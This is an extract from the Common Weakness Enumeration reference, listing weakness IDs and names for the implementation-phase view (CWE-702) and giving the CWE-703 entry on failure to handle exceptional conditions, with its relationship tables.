	424	Failure to Protect Alternate Path
	425	Direct Request ('Forced Browsing')
	426	Untrusted Search Path
	432	Dangerous Handler not Disabled During Sensitive Operations
	435	Interaction Error
	436	Interpretation Conflict
	437	Incomplete Model of Endpoint Features
	439	Behavioral Change in New Version or Environment
	440	Expected Behavior Violation
	441	Unintended Proxy/Intermediary
	444	Inconsistent Interpretation of HTTP Requests (aka 'HTTP Request Smuggling')
	446	UI Discrepancy for Security Feature
	447	Unimplemented or Unsupported Feature in UI
	450	Multiple Interpretations of UI Input
	451	UI Misrepresentation of Critical Information
	453	Insecure Default Variable Initialization
	454	External Initialization of Trusted Variables
	455	Non-exit on Failed Initialization
	459	Incomplete Cleanup
	462	Duplicate Key in Associative List (Alist)
	463	Deletion of Data Structure Sentinel
	464	Addition of Data Structure Sentinel
	466	Return of Pointer Value Outside of Expected Range
	470	Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection')
	474	Use of Function with Inconsistent Implementations
	475	Undefined Behavior for Input to API
	479	Unsafe Function Call from a Signal Handler
	485	Insufficient Encapsulation
	494	Download of Code Without Integrity Check
	501	Trust Boundary Violation
	502	Deserialization of Untrusted Data
	510	Trapdoor
	512	Spyware
	518	Inadvertently Introduced Weakness
	520	.NET Misconfiguration: Use of Impersonation
	521	Weak Password Requirements
	522	Insufficiently Protected Credentials

Type	ID	Name
	523	Unprotected Transport of Credentials
	526	Information Leak Through Environmental Variables
	532	Information Leak Through Log Files
	535	Information Leak Through Shell Error Message
	539	Information Leak Through Persistent Cookies
	542	Information Leak Through Cleanup Log Files
	545	Use of Dynamic Class Loading
	554	ASP.NET Misconfiguration: Not Using Input Validation Framework
	555	J2EE Misconfiguration: Plaintext Password in Configuration File
	564	SQL Injection: Hibernate
	565	Use of Cookies in Security Decision
	566	Access Control Bypass Through User-Controlled SQL Primary Key
	567	Unsynchronized Access to Shared Data
	574	EJB Bad Practices: Use of Synchronization Primitives
	575	EJB Bad Practices: Use of AWT Swing
	576	EJB Bad Practices: Use of Java I/O
	577	EJB Bad Practices: Use of Sockets
	578	EJB Bad Practices: Use of Class Loader
	579	J2EE Bad Practices: Non-serializable Object Stored in Session
	587	Assignment of a Fixed Address to a Pointer
	588	Attempt to Access Child of a Non-structure Pointer
	589	Call to Non-ubiquitous API
	592	Authentication Bypass Issues
	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
	594	J2EE Framework: Saving Unserializable Objects to Disk
	598	Information Leak Through Query Strings in GET Request
	599	Trust of OpenSSL Certificate Without Validation
	601	URL Redirection to Untrusted Site (aka 'Open Redirect')
	602	Client-Side Enforcement of Server-Side Security
	603	Use of Client-Side Authentication
	605	Multiple Binds to the Same Port
	610	Externally Controlled Reference to a Resource in Another Sphere
	612	Information Leak Through Indexing of Private Data
	613	Insufficient Session Expiration
	618	Exposed Unsafe ActiveX Method
	620	Unverified Password Change
	623	Unsafe ActiveX Control Marked Safe For Scripting
	636	Not Failing Securely (aka 'Failing Open')
	637	Failure to Use Economy of Mechanism
	638	Failure to Use Complete Mediation
	639	Access Control Bypass Through User-Controlled Key
	640	Weak Password Recovery Mechanism for Forgotten Password
	641	Insufficient Filtering of File and Other Resource Names for Executable Content
	642	External Control of Critical State Data
	644	Insufficient Sanitization of HTTP Headers for Scripting Syntax
	645	Overly Restrictive Account Lockout Mechanism
	646	Reliance on File Name or Extension of Externally-Supplied File
	647	Use of Non-Canonical URL Paths for Authorization Decisions
	648	Improper Use of Privileged APIs
	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
	650	Trusting HTTP Permission Methods on the Server Side
	651	Information Leak through WSDL File
	653	Insufficient Compartmentalization
	654	Reliance on a Single Factor in a Security Decision
	655	Failure to Satisfy Psychological Acceptability
	656	Reliance on Security through Obscurity

Type	ID	Name
	657	Violation of Secure Design Principles
	662	Insufficient Synchronization
	663	Use of a Non-reentrant Function in an Unsynchronized Context
	667	Insufficient Locking
	668	Exposure of Resource to Wrong Sphere
	669	Incorrect Resource Transfer Between Spheres
	670	Always-Incorrect Control Flow Implementation
	671	Lack of Administrator Control over Security
	672	Use of a Resource after Expiration or Release
	673	External Influence of Sphere Definition
	674	Uncontrolled Recursion
	676	Use of Potentially Dangerous Function
	682	Incorrect Calculation
	691	Insufficient Control Flow Management
	693	Protection Mechanism Failure
	694	Use of Multiple Resources with Duplicate Identifier
	695	Use of Low-Level Functionality
	696	Incorrect Behavior Order
	703	Failure to Handle Exceptional Conditions
	704	Incorrect Type Conversion or Cast
	705	Incorrect Control Flow Scoping
	706	Use of Incorrectly-Resolved Name or Reference
	707	Failure to Enforce that Messages or Data are Well-Formed
	708	Incorrect Ownership Assignment
	710	Coding Standards Violation
	732	Insecure Permission Assignment for Critical Resource
	749	Exposed Dangerous Method or Function

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*699*	*Development Concepts*	***699***	*688*

CWE-702: Weaknesses Introduced During Implementation

View ID: 702 *(View: Implicit Slice)* **Status:** Incomplete

Objective

This view (slice) lists weaknesses that can be introduced during implementation.

View Data

Filter Used:

.//Introductory_Phase='Implementation'

View Metrics

	CWEs in this view		Total CWEs
Total	**574**	out of	777
Views	0	out of	22
Categories	3	out of	105
Weaknesses	563	out of	638
Compound_Elements	8	out of	12

CWEs Included in this View

Type	ID	Name
	5	J2EE Misconfiguration: Data Transmission Without Encryption
	6	J2EE Misconfiguration: Insufficient Session-ID Length
	7	J2EE Misconfiguration: Missing Custom Error Page
	8	J2EE Misconfiguration: Entity Bean Declared Remote
	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods
	11	ASP.NET Misconfiguration: Creating Debug Binary
	12	ASP.NET Misconfiguration: Missing Custom Error Page
	13	ASP.NET Misconfiguration: Password in Configuration File

Type	ID	Name
	14	Compiler Removal of Code to Clear Buffers
	15	External Control of System or Configuration Setting
	20	Improper Input Validation
	22	Path Traversal
	23	Relative Path Traversal
	24	Path Traversal: '../filedir'
	25	Path Traversal: '/../filedir'
	26	Path Traversal: '/dir/../filename'
	27	Path Traversal: 'dir/../../filename'
	28	Path Traversal: '..\filedir'
	29	Path Traversal: '\..\filename'
	30	Path Traversal: '\dir\..\filename'
	31	Path Traversal: 'dir\..\..\filename'
	32	Path Traversal: '...' (Triple Dot)
	33	Path Traversal: '....' (Multiple Dot)
	34	Path Traversal: '....//'
	35	Path Traversal: '.../...//'
	36	Absolute Path Traversal
	37	Path Traversal: '/absolute/pathname/here'
	38	Path Traversal: '\absolute\pathname\here'
	39	Path Traversal: 'C:dirname'
	40	Path Traversal: '\\UNC\share\name\' (Windows UNC Share)
	41	Failure to Resolve Path Equivalence
	42	Path Equivalence: 'filename.' (Trailing Dot)
	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)
	44	Path Equivalence: 'file.name' (Internal Dot)
	45	Path Equivalence: 'file...name' (Multiple Internal Dot)
	46	Path Equivalence: 'filename ' (Trailing Space)
	47	Path Equivalence: ' filename (Leading Space)
	48	Path Equivalence: 'file name' (Internal Whitespace)
	49	Path Equivalence: 'filename/' (Trailing Slash)
	50	Path Equivalence: '//multiple/leading/slash'
	51	Path Equivalence: '/multiple//internal/slash'
	52	Path Equivalence: '/multiple/trailing/slash//'
	53	Path Equivalence: '\multiple\\internal\backslash'
	54	Path Equivalence: 'filedir\' (Trailing Backslash)
	55	Path Equivalence: '/./' (Single Dot Directory)
	56	Path Equivalence: 'filedir*' (Wildcard)
	57	Path Equivalence: 'fakedir/../realdir/filename'
	58	Path Equivalence: Windows 8.3 Filename
	59	Failure to Resolve Links Before File Access (aka 'Link Following')
	61	UNIX Symbolic Link (Symlink) Following
	62	UNIX Hard Link
	65	Windows Hard Link
	66	Improper Handling of File Names that Identify Virtual Resources
	67	Improper Handling of Windows Device Names
	69	Failure to Handle Windows ::DATA Alternate Data Stream
	71	Apple '.DS_Store'
	72	Failure to Handle Apple HFS+ Alternate Data Stream Path
	73	External Control of File Name or Path
	74	Failure to Sanitize Data into a Different Plane (aka 'Injection')
	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
	76	Failure to Resolve Equivalent Special Elements into a Different Plane
	77	Failure to Sanitize Data into a Control Plane (aka 'Command Injection')
	78	Failure to Preserve OS Command Structure (aka 'OS Command Injection')
	79	Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
	80	Failure to Sanitize Script-Related HTML Tags in a Web Page (Basic XSS)

Type	ID	Name
	81	Failure to Sanitize Directives in an Error Message Web Page
	82	Failure to Sanitize Script in Attributes of IMG Tags in a Web Page
	83	Failure to Sanitize Script in Attributes in a Web Page
	84	Failure to Resolve Encoded URI Schemes in a Web Page
	85	Doubled Character XSS Manipulations
	86	Failure to Sanitize Invalid Characters in Identifiers in Web Pages
	87	Failure to Sanitize Alternate XSS Syntax
	88	Argument Injection or Modification
	89	Failure to Preserve SQL Query Structure (aka 'SQL Injection')
	90	Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection')
	91	XML Injection (aka Blind XPath Injection)
	92	Insufficient Sanitization of Custom Special Characters
	93	Failure to Sanitize CRLF Sequences (aka 'CRLF Injection')
	94	Failure to Control Generation of Code (aka 'Code Injection')
	95	Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')
	96	Insufficient Control of Directives in Statically Saved Code (Static Code Injection)
	97	Failure to Sanitize Server-Side Includes (SSI) Within a Web Page
	98	Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')
	99	Insufficient Control of Resource Identifiers (aka 'Resource Injection')
	100	Technology-Specific Input Validation Problems
	102	Struts: Duplicate Validation Forms
	103	Struts: Incomplete validate() Method Definition
	104	Struts: Form Bean Does Not Extend Validation Class
	105	Struts: Form Field Without Validator
	106	Struts: Plug-in Framework not in Use
	107	Struts: Unused Validation Form
	108	Struts: Unvalidated Action Form
	109	Struts: Validator Turned Off
	110	Struts: Validator Without Form Field
	111	Direct Use of Unsafe JNI
	112	Missing XML Validation
	113	Failure to Sanitize CRLF Sequences in HTTP Headers (aka 'HTTP Response Splitting')
	114	Process Control
	115	Misinterpretation of Input
	116	Improper Encoding or Escaping of Output
	117	Incorrect Output Sanitization for Logs
	118	Improper Access of Indexable Resource (aka 'Range Error')
	119	Failure to Constrain Operations within the Bounds of a Memory Buffer
	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
	121	Stack-based Buffer Overflow
	122	Heap-based Buffer Overflow
	123	Write-what-where Condition
	124	Boundary Beginning Violation ('Buffer Underwrite')
	125	Out-of-bounds Read
	126	Buffer Over-read
	127	Buffer Under-read
	128	Wrap-around Error
	129	Unchecked Array Indexing
	130	Improper Handling of Length Parameter Inconsistency
	131	Incorrect Calculation of Buffer Size
	134	Uncontrolled Format String
	135	Incorrect Calculation of Multi-Byte String Length
	138	Improper Sanitization of Special Elements
	140	Failure to Sanitize Delimiters
	141	Failure to Sanitize Parameter/Argument Delimiters
	142	Failure to Sanitize Value Delimiters

Type	ID	Name
	143	Failure to Sanitize Record Delimiters
	144	Failure to Sanitize Line Delimiters
	145	Failure to Sanitize Section Delimiters
	146	Failure to Sanitize Expression/Command Delimiters
	147	Improper Sanitization of Input Terminators
	148	Failure to Sanitize Input Leaders
	149	Failure to Sanitize Quoting Syntax
	150	Failure to Sanitize Escape, Meta, or Control Sequences
	151	Improper Sanitization of Comment Delimiters
	152	Improper Sanitization of Macro Symbols
	153	Improper Sanitization of Substitution Characters
	154	Improper Sanitization of Variable Name Delimiters
	155	Improper Sanitization of Wildcards or Matching Symbols
	156	Improper Sanitization of Whitespace
	157	Failure to Sanitize Paired Delimiters
	158	Failure to Sanitize Null Byte or NUL Character
	159	Failure to Sanitize Special Element
	160	Failure to Sanitize Leading Special Element
	161	Failure to Sanitize Multiple Leading Special Elements
	162	Failure to Sanitize Trailing Special Element
	163	Failure to Sanitize Multiple Trailing Special Elements
	164	Failure to Sanitize Internal Special Element
	165	Failure to Sanitize Multiple Internal Special Elements
	166	Failure to Handle Missing Special Element
	167	Failure to Handle Additional Special Element
	168	Failure to Resolve Inconsistent Special Elements
	170	Improper Null Termination
	172	Encoding Error
	173	Failure to Handle Alternate Encoding
	174	Double Decoding of the Same Data
	175	Failure to Handle Mixed Encoding
	176	Failure to Handle Unicode Encoding
	177	Failure to Handle URL Encoding (Hex Encoding)
	178	Failure to Resolve Case Sensitivity
	179	Incorrect Behavior Order: Early Validation
	180	Incorrect Behavior Order: Validate Before Canonicalize
	181	Incorrect Behavior Order: Validate Before Filter
	182	Collapse of Data Into Unsafe Value
	183	Permissive Whitelist
	184	Incomplete Blacklist
	185	Incorrect Regular Expression
	186	Overly Restrictive Regular Expression
	187	Partial Comparison
	188	Reliance on Data/Memory Layout
	190	Integer Overflow or Wraparound
	191	Integer Underflow (Wrap or Wraparound)
	192	Integer Coercion Error
	193	Off-by-one Error
	194	Unexpected Sign Extension
	195	Signed to Unsigned Conversion Error
	196	Unsigned to Signed Conversion Error
	197	Numeric Truncation Error
	198	Use of Incorrect Byte Ordering
	200	Information Leak (Information Disclosure)
	201	Information Leak Through Sent Data
	202	Privacy Leak through Data Queries
	203	Discrepancy Information Leaks

Type	ID	Name
	204	Response Discrepancy Information Leak
	205	Behavioral Discrepancy Information Leak
	206	Internal Behavioral Inconsistency Information Leak
	207	External Behavioral Inconsistency Information Leak
	208	Timing Discrepancy Information Leak
	209	Error Message Information Leak
	210	Product-Generated Error Message Information Leak
	211	Product-External Error Message Information Leak
	212	Cross-boundary Cleansing Information Leak
	213	Intended Information Leak
	214	Process Environment Information Leak
	215	Information Leak Through Debug Information
	216	Containment Errors (Container Errors)
	217	Failure to Protect Stored Data from Modification
	219	Sensitive Data Under Web Root
	221	Information Loss or Omission
	222	Truncation of Security-relevant Information
	223	Omission of Security-relevant Information
	224	Obscured Security-relevant Information by Alternate Name
	226	Sensitive Information Uncleared Before Release
	227	Failure to Fulfill API Contract (aka 'API Abuse')
	228	Improper Handling of Syntactically Invalid Structure
	229	Improper Handling of Values
	230	Improper Handling of Missing Values
	231	Improper Handling of Extra Values
	232	Improper Handling of Undefined Values
	233	Parameter Problems
	234	Failure to Handle Missing Parameter
	235	Improper Handling of Extra Parameters
	236	Improper Handling of Undefined Parameters
	238	Improper Handling of Incomplete Structural Elements
	239	Failure to Handle Incomplete Element
	240	Improper Handling of Inconsistent Structural Elements
	241	Improper Handling of Unexpected Data Type
	242	Use of Inherently Dangerous Function
	243	Failure to Change Working Directory in chroot Jail
	244	Failure to Clear Heap Memory Before Release (aka 'Heap Inspection')
	245	J2EE Bad Practices: Direct Management of Connections
	246	J2EE Bad Practices: Direct Use of Sockets
	247	Reliance on DNS Lookups in a Security Decision
	248	Uncaught Exception
	249	Often Misused: Path Manipulation
	252	Unchecked Return Value
	253	Incorrect Check of Function Return Value
	258	Empty Password in Configuration File
	259	Hard-Coded Password
	260	Password in Configuration File
	266	Incorrect Privilege Assignment
	267	Privilege Defined With Unsafe Actions
	268	Privilege Chaining
	269	Insecure Privilege Management
	270	Privilege Context Switching Error
	271	Privilege Dropping / Lowering Errors
	272	Least Privilege Violation
	273	Improper Check for Successfully Dropped Privileges
	274	Failure to Handle Insufficient Privileges
	276	Insecure Default Permissions

Type	ID	Name
	277	Insecure Inherited Permissions
	280	Improper Handling of Insufficient Permissions or Privileges
	281	Permission Preservation Failure
	284	Access Control (Authorization) Issues
	285	Improper Access Control (Authorization)
	286	Incorrect User Management
	287	Improper Authentication
	289	Authentication Bypass by Alternate Name
	290	Authentication Bypass by Spoofing
	302	Authentication Bypass by Assumed-Immutable Data
	303	Improper Implementation of Authentication Algorithm
	304	Missing Critical Step in Authentication
	305	Authentication Bypass by Primary Weakness
	318	Plaintext Storage in Executable
	329	Not Using a Random IV with CBC Mode
	331	Insufficient Entropy
	332	Insufficient Entropy in PRNG
	333	Failure to Handle Insufficient Entropy in TRNG
	334	Small Space of Random Values
	335	PRNG Seed Error
	336	Same Seed in PRNG
	337	Predictable Seed in PRNG
	338	Use of Cryptographically Weak PRNG
	339	Small Seed Space in PRNG
	340	Predictability Problems
	341	Predictable from Observable State
	342	Predictable Exact Value from Previous Values
	343	Predictable Value Range from Previous Values
	344	Use of Invariant Value in Dynamically Changing Context
	345	Insufficient Verification of Data Authenticity
	346	Origin Validation Error
	347	Improperly Verified Signature
	348	Use of Less Trusted Source
	349	Acceptance of Extraneous Untrusted Data With Trusted Data
	351	Insufficient Type Distinction
	352	Cross-Site Request Forgery (CSRF)
	353	Failure to Add Integrity Check Value
	354	Improper Validation of Integrity Check Value
	356	Product UI does not Warn User of Unsafe Actions
	357	Insufficient UI Warning of Dangerous Operations
	358	Improperly Implemented Security Check for Standard
	359	Privacy Violation
	360	Trust of System Event Data
	362	Race Condition
	363	Race Condition Enabling Link Following
	364	Signal Handler Race Condition
	365	Race Condition in Switch
	366	Race Condition within a Thread
	367	Time-of-check Time-of-use (TOCTOU) Race Condition
	368	Context Switching Race Condition
	369	Divide By Zero
	370	Race Condition in Checking for Certificate Revocation
	372	Incomplete Internal State Distinction
	373	State Synchronization Error
	374	Mutable Objects Passed by Reference
	375	Passing Mutable Objects to an Untrusted Method
	377	Insecure Temporary File

Type	ID	Name
	378	Creation of Temporary File With Insecure Permissions
	379	Creation of Temporary File in Directory with Insecure Permissions
	382	J2EE Bad Practices: Use of System.exit()
	383	J2EE Bad Practices: Direct Use of Threads
	384	Session Fixation
	385	Covert Timing Channel
	386	Symbolic Name not Mapping to Correct Object
	390	Detection of Error Condition Without Action
	391	Unchecked Error Condition
	392	Failure to Report Error in Status Code
	393	Return of Wrong Status Code
	394	Unexpected Status Code or Return Value
	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference
	396	Declaration of Catch for Generic Exception
	397	Declaration of Throws for Generic Exception
	398	Indicator of Poor Code Quality
	400	Uncontrolled Resource Consumption (aka 'Resource Exhaustion')
	401	Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak')
	402	Transmission of Private Resources into a New Sphere (aka 'Resource Leak')
	403	UNIX File Descriptor Leak
	404	Improper Resource Shutdown or Release
	405	Asymmetric Resource Consumption (Amplification)
	406	Insufficient Control of Network Message Volume (Network Amplification)
	407	Algorithmic Complexity
	408	Incorrect Behavior Order: Early Amplification
	409	Failure to Handle Highly Compressed Data (Data Amplification)
	410	Insufficient Resource Pool
	412	Unrestricted Lock on Critical Resource
	413	Insufficient Resource Locking
	414	Missing Lock Check
	415	Double Free
	416	Use After Free
	419	Unprotected Primary Channel
	420	Unprotected Alternate Channel
	425	Direct Request ('Forced Browsing')
	426	Untrusted Search Path
	427	Uncontrolled Search Path Element
	428	Unquoted Search Path or Element
	430	Deployment of Wrong Handler
	431	Missing Handler
	432	Dangerous Handler not Disabled During Sensitive Operations
	433	Unparsed Raw Web Content Delivery
	434	Unrestricted File Upload
	435	Interaction Error
	436	Interpretation Conflict
	437	Incomplete Model of Endpoint Features
	439	Behavioral Change in New Version or Environment
	440	Expected Behavior Violation
	444	Inconsistent Interpretation of HTTP Requests (aka 'HTTP Request Smuggling')
	446	UI Discrepancy for Security Feature
	447	Unimplemented or Unsupported Feature in UI
	448	Obsolete Feature in UI
	449	The UI Performs the Wrong Action
	450	Multiple Interpretations of UI Input
	451	UI Misrepresentation of Critical Information
	453	Insecure Default Variable Initialization
	454	External Initialization of Trusted Variables

Type	ID	Name
	455	Non-exit on Failed Initialization
	456	Missing Initialization
	457	Use of Uninitialized Variable
	459	Incomplete Cleanup
	460	Improper Cleanup on Thrown Exception
	462	Duplicate Key in Associative List (Alist)
	463	Deletion of Data Structure Sentinel
	464	Addition of Data Structure Sentinel
	466	Return of Pointer Value Outside of Expected Range
	467	Use of sizeof() on a Pointer Type
	468	Incorrect Pointer Scaling
	469	Use of Pointer Subtraction to Determine Size
	470	Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection')
	471	Modification of Assumed-Immutable Data (MAID)
	472	External Control of Assumed-Immutable Web Parameter
	473	PHP External Variable Modification
	474	Use of Function with Inconsistent Implementations
	475	Undefined Behavior for Input to API
	476	NULL Pointer Dereference
	477	Use of Obsolete Functions
	478	Failure to Use Default Case in Switch
	479	Unsafe Function Call from a Signal Handler
	480	Use of Incorrect Operator
	481	Assigning instead of Comparing
	482	Comparing instead of Assigning
	483	Incorrect Block Delimitation
	484	Omitted Break Statement in Switch
	485	Insufficient Encapsulation
	486	Comparison of Classes by Name
	487	Reliance on Package-level Scope
	488	Data Leak Between Sessions
	489	Leftover Debug Code
	491	Public cloneable() Method Without Final (aka 'Object Hijack')
	492	Use of Inner Class Containing Sensitive Data
	493	Critical Public Variable Without Final Modifier
	494	Download of Code Without Integrity Check
	495	Private Array-Typed Field Returned From A Public Method
	496	Public Data Assigned to Private Array-Typed Field
	497	Information Leak of System Data
	498	Information Leak through Class Cloning
	499	Serializable Class Containing Sensitive Data
	500	Public Static Field Not Marked Final
	502	Deserialization of Untrusted Data
	506	Embedded Malicious Code
	507	Trojan Horse
	508	Non-Replicating Malicious Code
	509	Replicating Malicious Code (Virus or Worm)
	510	Trapdoor
	511	Logic/Time Bomb
	512	Spyware
	514	Covert Channel
	515	Covert Storage Channel
	518	Inadvertently Introduced Weakness
	520	.NET Misconfiguration: Use of Impersonation
	521	Weak Password Requirements
	522	Insufficiently Protected Credentials
	524	Information Leak Through Caching

Type	ID	Name
W	525	Information Leak Through Browser Caching
W	526	Information Leak Through Environmental Variables
W	528	Information Leak Through Core Dump Files
W	530	Information Leak Through Backup (.~bk) Files
W	532	Information Leak Through Log Files
W	533	Information Leak Through Server Log Files
W	535	Information Leak Through Shell Error Message
W	536	Information Leak Through Servlet Runtime Error Message
W	537	Information Leak Through Java Runtime Error Message
W	538	File and Directory Information Leaks
W	539	Information Leak Through Persistent Cookies
W	540	Information Leak Through Source Code
W	541	Information Leak Through Include Source Code
W	542	Information Leak Through Cleanup Log Files
W	543	Use of Singleton Pattern in a Non-thread-safe Manner
W	544	Failure to Use a Standardized Error Handling Mechanism
W	545	Use of Dynamic Class Loading
W	546	Suspicious Comment
W	547	Use of Hard-coded, Security-relevant Constants
W	548	Information Leak Through Directory Listing
W	549	Missing Password Field Masking
W	550	Information Leak Through Server Error Message
W	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
W	552	Files or Directories Accessible to External Parties
W	553	Command Shell in Externally Accessible Directory
W	554	ASP.NET Misconfiguration: Not Using Input Validation Framework
W	555	J2EE Misconfiguration: Plaintext Password in Configuration File
W	556	ASP.NET Misconfiguration: Use of Identity Impersonation
W	558	Use of getlogin() in Multithreaded Application
W	560	Use of umask() with chmod-style Argument
W	561	Dead Code
W	562	Return of Stack Variable Address
W	563	Unused Variable
W	564	SQL Injection: Hibernate
W	565	Use of Cookies in Security Decision
W	566	Access Control Bypass Through User-Controlled SQL Primary Key
W	567	Unsynchronized Access to Shared Data
W	568	finalize() Method Without super.finalize()
W	570	Expression is Always False
W	571	Expression is Always True
W	572	Call to Thread run() instead of start()
W	573	Failure to Follow Specification
W	574	EJB Bad Practices: Use of Synchronization Primitives
W	575	EJB Bad Practices: Use of AWT Swing
W	576	EJB Bad Practices: Use of Java I/O
W	577	EJB Bad Practices: Use of Sockets
W	578	EJB Bad Practices: Use of Class Loader
W	579	J2EE Bad Practices: Non-serializable Object Stored in Session
W	580	clone() Method Without super.clone()
W	581	Object Model Violation: Just One of Equals and Hashcode Defined
W	582	Array Declared Public, Final, and Static
W	583	finalize() Method Declared Public
W	584	Return Inside Finally Block
W	585	Empty Synchronized Block
W	586	Explicit Call to Finalize()
W	587	Assignment of a Fixed Address to a Pointer
W	588	Attempt to Access Child of a Non-structure Pointer

Type	ID	Name
W	589	Call to Non-ubiquitous API
W	590	Free of Invalid Pointer Not on the Heap
W	591	Sensitive Data Storage in Improperly Locked Memory
C	592	Authentication Bypass Issues
W	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
W	594	J2EE Framework: Saving Unserializable Objects to Disk
B	595	Incorrect Syntactic Object Comparison
B	596	Incorrect Semantic Object Comparison
W	597	Use of Wrong Operator in String Comparison
W	598	Information Leak Through Query Strings in GET Request
W	599	Trust of OpenSSL Certificate Without Validation
B	600	Failure to Catch All Exceptions in Servlet
W	601	URL Redirection to Untrusted Site (aka 'Open Redirect')
B	603	Use of Client-Side Authentication
B	605	Multiple Binds to the Same Port
B	606	Unchecked Input for Loop Condition
W	607	Public Static Final Field References Mutable Object
W	608	Struts: Non-private Field in ActionForm Class
B	609	Double-Checked Locking
W	611	Information Leak Through XML External Entity File Disclosure
W	612	Information Leak Through Indexing of Private Data
B	613	Insufficient Session Expiration
W	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
W	615	Information Leak Through Comments
W	616	Incomplete Identification of Uploaded File Variables (PHP)
W	617	Reachable Assertion
B	618	Exposed Unsafe ActiveX Method
B	619	Dangling Database Cursor (aka 'Cursor Injection')
W	620	Unverified Password Change
B	621	Variable Extraction Error
W	622	Unvalidated Function Hook Arguments
W	623	Unsafe ActiveX Control Marked Safe For Scripting
B	624	Executable Regular Expression Error
B	625	Permissive Regular Expression
W	626	Null Byte Interaction Error (Poison Null Byte)
B	627	Dynamic Variable Evaluation
B	628	Function Call with Incorrectly Specified Arguments
C	636	Not Failing Securely (aka 'Failing Open')
C	637	Failure to Use Economy of Mechanism
C	638	Failure to Use Complete Mediation
B	640	Weak Password Recovery Mechanism for Forgotten Password
W	641	Insufficient Filtering of File and Other Resource Names for Executable Content
C	642	External Control of Critical State Data
B	643	Failure to Sanitize Data within XPath Expressions (aka 'XPath injection')
W	644	Insufficient Sanitization of HTTP Headers for Scripting Syntax
W	646	Reliance on File Name or Extension of Externally-Supplied File
W	647	Use of Non-Canonical URL Paths for Authorization Decisions
B	648	Improper Use of Privileged APIs
B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
W	650	Trusting HTTP Permission Methods on the Server Side
W	651	Information Leak through WSDL File
B	652	Failure to Sanitize Data within XQuery Expressions (aka 'XQuery Injection')
B	653	Insufficient Compartmentalization
B	654	Reliance on a Single Factor in a Security Decision
B	655	Failure to Satisfy Psychological Acceptability
B	656	Reliance on Security through Obscurity

Type	ID	Name
	657	Violation of Secure Design Principles
	662	Insufficient Synchronization
	663	Use of a Non-reentrant Function in an Unsynchronized Context
	664	Insufficient Control of a Resource Through its Lifetime
	665	Improper Initialization
	666	Operation on Resource in Wrong Phase of Lifetime
	667	Insufficient Locking
	668	Exposure of Resource to Wrong Sphere
	669	Incorrect Resource Transfer Between Spheres
	670	Always-Incorrect Control Flow Implementation
	671	Lack of Administrator Control over Security
	672	Use of a Resource after Expiration or Release
	673	External Influence of Sphere Definition
	674	Uncontrolled Recursion
	675	Duplicate Operations on Resource
	676	Use of Potentially Dangerous Function
	681	Incorrect Conversion between Numeric Types
	682	Incorrect Calculation
	683	Function Call With Incorrect Order of Arguments
	684	Failure to Provide Specified Functionality
	685	Function Call With Incorrect Number of Arguments
	686	Function Call With Incorrect Argument Type
	687	Function Call With Incorrectly Specified Argument Value
	688	Function Call With Incorrect Variable or Reference as Argument
	689	Permission Race Condition During Resource Copy
	691	Insufficient Control Flow Management
	693	Protection Mechanism Failure
	694	Use of Multiple Resources with Duplicate Identifier
	695	Use of Low-Level Functionality
	696	Incorrect Behavior Order
	697	Insufficient Comparison
	698	Redirect Without Exit
	703	Failure to Handle Exceptional Conditions
	704	Incorrect Type Conversion or Cast
	705	Incorrect Control Flow Scoping
	706	Use of Incorrectly-Resolved Name or Reference
	707	Failure to Enforce that Messages or Data are Well-Formed
	708	Incorrect Ownership Assignment
	710	Coding Standards Violation
	732	Insecure Permission Assignment for Critical Resource
	749	Exposed Dangerous Method or Function

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*699*	*Development Concepts*	***699***	*688*

CWE-703: Failure to Handle Exceptional Conditions

Weakness ID: 703 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the software.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Other Notes

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	W	166	Improper Handling of Missing Special Element	1000	193
ParentOf	W	167	Improper Handling of Additional Special Element	1000	194
ParentOf	W	168	Failure to Resolve Inconsistent Special Elements	1000	194
ParentOf	W	228	Improper Handling of Syntactically Invalid Structure	1000	255
ParentOf	W	248	Uncaught Exception	1000	269
ParentOf	W	274	Improper Handling of Insufficient Privileges	**1000**	301
ParentOf	W	280	Improper Handling of Insufficient Permissions or Privileges	**1000**	306
ParentOf	W	283	Unverified Ownership	1000	308
ParentOf	W	307	Failure to Restrict Excessive Authentication Attempts	**1000**	332
ParentOf	W	333	Improper Handling of Insufficient Entropy in TRNG	1000	359
ParentOf	W	391	Unchecked Error Condition	**1000**	417
ParentOf	W	392	Failure to Report Error in Status Code	1000	418
ParentOf	W	393	Return of Wrong Status Code	1000	419
ParentOf	W	397	Declaration of Throws for Generic Exception	1000	422
ParentOf	W	754	Improper Check for Exceptional Conditions	**1000**	734
ParentOf	W	755	Improper Handling of Exceptional Conditions	**1000**	734
MemberOf	V	1000	Research Concepts	**1000**	737

Relationship Notes

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve a failure to handle exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).

References

